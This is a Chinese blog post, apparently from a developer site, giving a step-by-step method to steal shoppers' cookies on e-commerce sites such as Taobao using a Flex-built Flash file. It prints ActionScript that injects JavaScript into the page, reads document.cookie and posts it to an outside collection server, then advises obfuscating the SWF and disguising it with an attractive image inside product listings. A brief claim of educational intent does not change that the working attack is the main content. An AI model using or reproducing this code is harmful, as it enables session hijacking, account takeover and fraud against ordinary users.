`
suiyuan0808
  • 浏览: 155204 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
社区版块
存档分类
最新评论

利用flex悄悄获取商业网站的Cookie(XSS跨站攻击)

阅读更多

现在电子商务越来越活,电子商务网上购物已经成为我们生活中不可缺少的一部分。因此,电子商务网站的安全在电子商务网站也是很重要的部分。保护网站用户身份安全,保护用户的密码账号,Cookies已经成为网上交易安全最重要的一部分。难怪拍拍网,淘宝网的登录页面变化很快,里面内容也是越丰富,里面安装的ActiveX控件经常变,登录前帐号密码发送加密方式也不断变化。一旦用户的cookies被窃取了,视乎拿到cookies不法者只要使用得当就可以实现用户的成为,比如修改你的个人信息,网上购物等等。当然,本文这里倒不是说要获取别人的东西,而是要大家明白这个原理等到你自己做类似网站安全注意这个东东,知彼知己,百战不胜嘛。

 

     我们拿淘宝网的东东来说说吧,里面安全还是做的不错,目前外部提交的包含javascript,ifrane链接外部等XSS攻击的代码都被屏蔽了。不过flex(flash)还是可以运行的,但是要交钱和审核过flash才可以好像。通常,获取cookies方法在你要攻击的网站页面上嵌入javascript:比如:

http://收集cookies网站入口/xxxxxx.xx/?cookie=document.cookies

或者嵌入一个iframe,在iframe实现类是上面的源码。这样用户的cookie就拿到手了。不过一般的大型电子商务网站比如淘宝网都已经屏蔽这些了。所以利用js,iframe是无法实现的。我想到最后一交就是将flash嵌入到要攻击的网站页面,然后在flash运行时候动态嵌入js到页面上(前提是必须是flash没有被屏蔽)。这样js并没有提交电子网站上,一般是不被发现了。当然我说的是一般哦。呵呵。好了开始实现获取cookie flash代码吧:

 

package  luodongfu.test.stealcookie

{
        import flash.external.ExternalInterface;   
        import mx.controls.Alert; 
        public class CookieStealer
        {
                
                /**
                 * 绑定js ,运行时候嵌入到页面上,秘密就在这里。
                 */               
                public static function embedJS():void

              {
 var str:String = "";
                       
                        //设置cookie
                        str += 'function setCookie_(name, value, expires, security) {' +
                                        '        var str = name + "=" + escape(value);' +
                                        '        if (expires != null) str += ";expires=" + new Date(expires).toGMTString() + "";' +
                                        '        if (security == true) str += ";secure";' +
                                        '        document.cookie = str;' +
                                        '}';
                       
                        //获取cookie       
                        str += 'function getCookie_(name) {' +
                                        '        var arr = document.cookie.match(new RegExp(";?" +name + "=([^;]*)"));' +
                                           '        if(arr != null) return unescape(arr[1]); ' + 
   '        return null;' +
                                        '}';
          
          
            str += 'function getCookieAll() {' +
                         
                                           '        return document.cookie;' +
                                        '}';
          
                       
                        str += 'function deleteCookie_(name) {' + 
                              '        var d = new Date();' +
                                        '        d.setTime(d.getTime() - 1);' +
                                        '        var value = getCookie_(name);' +
                                        '        if(value != null) {' +
                                        '                alert(document.cookie);document.cookie = name + "=" + escape(value) + ";expire=" + d.toGMTString();' +
                                        '        }' +
                                        '}';
                        if (ExternalInterface.available) {
                                ExternalInterface.call("eval", str);
                            
                        }
                }
                
/**
                 * 获取cookie值 
                 * @param name
                 * @return
                 *
                 */               
                public static function getCookie(name:String):String {
                        if (ExternalInterface.available) {
                                return ExternalInterface.call("getCookie_", name);
                        }
                       
                        return null;
                }
    
     public static function getAvailable():Boolean {
                      
                        return ExternalInterface.available;
                }
               
                /**
                 * 删除cookie
  *
                 * @param name
                 *
                 */               
                public static function deleteCookie(name:String):void {
                        if (ExternalInterface.available) {
                                ExternalInterface.call("deleteCookie_", name);
                        }
                }
        }
}

 

好了,万事具备,只欠东风了,就是调用以上嵌入代码写到页面上。

<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute" creationComplete="stealCookieNow()" width="60" height="20">
  <mx:Script>  
        <![CDATA[
        import luodongfu.test.stealcookie.CookieStealer;
           import mx.controls.Alert;

//flash一旦被下载到用户浏览器自动运行这段嵌入js
       public function stealCookieNow():void
       {
              CookieStealer.embedJS();
               if (ExternalInterface.available)
                 {
                  var cook:String="";    
                try 
                    {
  //这句话得到cookie
                       cook= ExternalInterface.call("getCookieAll");
                    }
                   catch (error:Error)
                     {
                         Alert.show("Error");
                     }
                 //得到cookie之后赶紧把他送到你服务器吧,cookie是有期限哦,要用就赶紧使用吧     以下代码就是发送cookie到你的网站

             var request:URLRequest = new URLRequest("http://cookiecollection.com/cookiehere");  

                 var params:URLVariables = new URLVariables();

params.cookie=cook;
                 request.data=params;

               request.method=URLRequestMethod.POST;
               loader.load(request);

 }
                 else {
                  Alert.show("ExternalInterface not avalible");
                  }
    
             }
              
        ]]>   
</mx:Script>

</mx:Application>

 

编译你的flex工程生成swf文件CookieStealer.swf,这个flash文件就是窃取的挂马,呵呵。

为了保证你的挂马不被人家反编译过来查看,最后SWF Protect加密马甲生成CookieStealer2.swf一下吧。

好了,将你这个swf文件挂到你自己的收集cookies服务器在写一个HttpServlet来接受Cookie吧。

最后在电子商务网站(比如淘宝网的商品宝贝详情)可以提交html页面提交你的服务器swf网址吧。源码如下:

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
               codebase="
http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0"
           width="100" height="300" id="myNext">
    <param name="quality" value="transparent">
    <param name="wmode" value="opaque">
    <param name="allowScriptAccess" value="always" />
    <param name="movie" value="
http://你的服务器/getcookies/CookieStealer2.swf">
    <param name="FlashVars" value=""/>
    <param name="quality" value="high" />
    <embed src="
http://你的服务器/getcookies/CookieStealer2.swf" FlashVars=“"
            quality="high" width="700" height="380" name="myNext" allowScriptAccess="always"
            type="application/x-shockwave-flash" pluginspage="
http://www.macromedia.com/go/getflashplayer

记得给你的swf文件搞个漂亮图片,不容易让人家怀疑,呵呵。这叫瞒天过海,知人知面不知心啊,呵呵

 

好了,收工,不要拿去在坏事哦,呵呵

分享到:
评论
1 楼 wanyingda415 2011-07-26  

相关推荐

    XSS跨站脚本攻击剖析与防御.pdf

    XSS跨站脚本攻击剖析与防御》是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做...

    XSS跨站脚本攻击剖析与防御

    XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的网络安全漏洞,它允许攻击者在用户浏览器上执行恶意脚本。这种攻击通常发生在Web应用中,当网站未能正确地过滤或转义用户输入的数据,使得这些数据可以作为可...

    xss跨站脚本攻击与预防

    XSS(Cross Site Scripting)跨站脚本攻击是一种常见的网络安全漏洞,它允许攻击者在用户浏览器上执行恶意脚本,从而获取敏感信息或者操控用户的行为。这种攻击主要发生在Web应用中,攻击者通过注入恶意代码,使受害...

    XSS跨站脚本攻击漏洞修复方法

    XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的网络安全威胁,它允许攻击者在用户的浏览器上执行恶意代码,从而窃取用户敏感信息、操纵用户行为或者对网站进行破坏。本文将深入探讨XSS攻击的类型、危害,并...

    XSS跨站脚本攻击

    XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的Web应用安全威胁,其核心在于利用网站对用户输入数据的处理不当,允许攻击者注入恶意脚本到网页中,这些脚本在用户浏览器上执行,进而窃取用户的敏感信息、篡改...

    XSS跨站攻击

    ### XSS跨站攻击详解 #### 一、XSS概述 XSS(Cross Site Scripting),又称CSS(Cross Site Script),即跨站脚本攻击。这种攻击方式是指恶意攻击者通过在Web页面中注入恶意HTML代码,当用户浏览含有恶意代码的...

    xss跨站脚本攻击-运维安全详细笔记

    xss跨站脚本攻击是指攻击者利用网站没有对用户提交代码进行转义处理或者过滤不足的缺点,进而添加一些新代码,嵌入到Web页面中,使得其他用户访问都会执行相应的嵌入代码,从而盗取用户资料,利用用户身份进行某些...

    XSS跨站脚本攻击在Java开发中防范的方法

    XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的安全威胁,它利用Web应用程序的安全漏洞,将恶意脚本注入到合法的网页中,进而攻击最终用户。XSS攻击主要分为以下两种类型: 1. **存储型XSS**(Persistent ...

    XSS跨站攻击课程.pdf

    - **定义**:XSS(Cross-Site Scripting)即跨站脚本攻击,是指攻击者利用网站漏洞,将恶意脚本代码注入到网页中,当其他用户浏览这些网页时,就会在用户的浏览器上执行恶意代码。XSS攻击通常发生在用户与Web应用...

    XSS获取COOKIE

    XSS获取COOKIE

    xss跨站脚本攻击汇总

    xss 跨站脚本攻击是一种常见的 web 应用程序漏洞,攻击者可以inject 恶意脚本到网页中,从而获取用户的敏感信息或控制用户的浏览器行为。下面是 xss 跨站脚本攻击的一些常见类型: 1. 普通的 XSS JavaScript 注入:...

    XSS跨站总结

    XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web应用程序安全漏洞,它允许攻击者通过注入恶意脚本来攻击用户。这种攻击通常发生在用户浏览器上,利用的是用户对目标网站的信任。 - **定义**:XSS攻击是...

    web安全技术-实验七、跨站脚本攻击(xss)(反射型).doc

    【跨站脚本攻击(XSS)概述】 XSS,全称Cross Site Scripting,是一种常见的Web应用程序安全漏洞,攻击者利用此漏洞向网页中注入恶意脚本,当其他用户浏览该页面时,这些脚本会被执行,从而可能窃取用户的敏感信息...

    解决XSS跨站脚本攻击

    XSS(跨站脚本)攻击是Web应用安全领域的一大威胁,主要表现为攻击者通过注入可执行的HTML代码,利用用户的身份执行恶意操作。这种攻击的根源在于网站对用户输入的处理不当,没有进行充分的过滤和转义,使得攻击者的...

    XSS 跨站脚本攻击及防范

    XSS(Cross Site Scripting)跨站脚本攻击是一种网络安全漏洞,主要针对Web应用程序,让攻击者能够在受害者的浏览器上执行恶意脚本。攻击者通过在网页中插入有害的HTML代码,当用户浏览该页面时,这些代码会被执行,...

    XSS跨站脚本gj剖析与防御.pdf

    《XSS跨站脚本攻击剖析与防御》,完整版本。作者:邱永华,出版社:人民邮电出版社,ISBN:9787115311047,PDF 格式,扫描版,大小 67MB。本资源带有PDF书签,方便读者朋友阅读。 内容简介: 《XSS跨站脚本攻击剖析...

    XSS跨站脚本攻击方法初探

    ### XSS跨站脚本攻击方法初探 #### 摘要 本文主要探讨了XSS(Cross Site Scripting,跨站脚本)攻击的基本概念、原理及其常见的几种攻击手法。XSS攻击是一种针对Web应用程序的安全漏洞,攻击者通过在合法网站上插入...

    51CTO下载-XSS跨站脚本gj剖析与防御(完整版

    51CTO下载-XSS跨站脚本攻击剖析与防御(完整版)

Global site tag (gtag.js) - Google Analytics